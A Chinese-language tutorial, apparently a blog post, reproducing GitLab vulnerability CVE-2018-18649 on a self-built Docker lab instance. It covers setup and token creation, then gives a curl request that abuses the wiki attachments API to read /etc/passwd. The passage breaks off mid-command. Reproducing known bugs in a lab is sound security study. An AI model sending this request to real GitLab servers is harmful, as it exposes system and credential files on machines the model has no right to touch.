本示例中使用 gitlab-ce:11.3.4-ce.0
(注:ce 即 Community Edition)。
使用 docker 搭建漏洞环境:
screen -S CVE-2018-18649
docker pull gitlab/gitlab-ce:11.3.4-ce.0
docker run -d --name gitlab -p 80:80 -p 443:443 -p 2222:22 gitlab/gitlab-ce:11.3.4-ce.0
然后修改配置文件:
docker exec -it gitlab /bin/bash
nano /etc/gitlab/gitlab.rb
# 去掉gitlab的注释并修改对应ip
external_url 'http://47.56.208.67/'
#重新载入配置文件
gitlab-ctl reconfigure
访问对应ip,第一次需要设置密码,并新建用户:
新建一个 Access Token,获取 private_token:
注:验证
private_token
的方式为:
新建一个项目 test
:
所以现在的漏洞环境信息:
http://47.56.208.67
http://47.56.208.67/root/test/wikis/attachments
这个漏洞需要 private_token
和身份认证,利用门槛高。
Access Token 在生成 Private Token 的时候,必须要在 Scopes 里面勾选了 api
,否则 token 权限会不够!
查看 /etc/passwd:
root@hack:~# curl -H "private-token:pyLXE32y3Ab6va9p6mAA" 47.56.208.67/api/v4/projects/1/wikis/attachments -d "file[tempfile]=/etc/passwd&file[file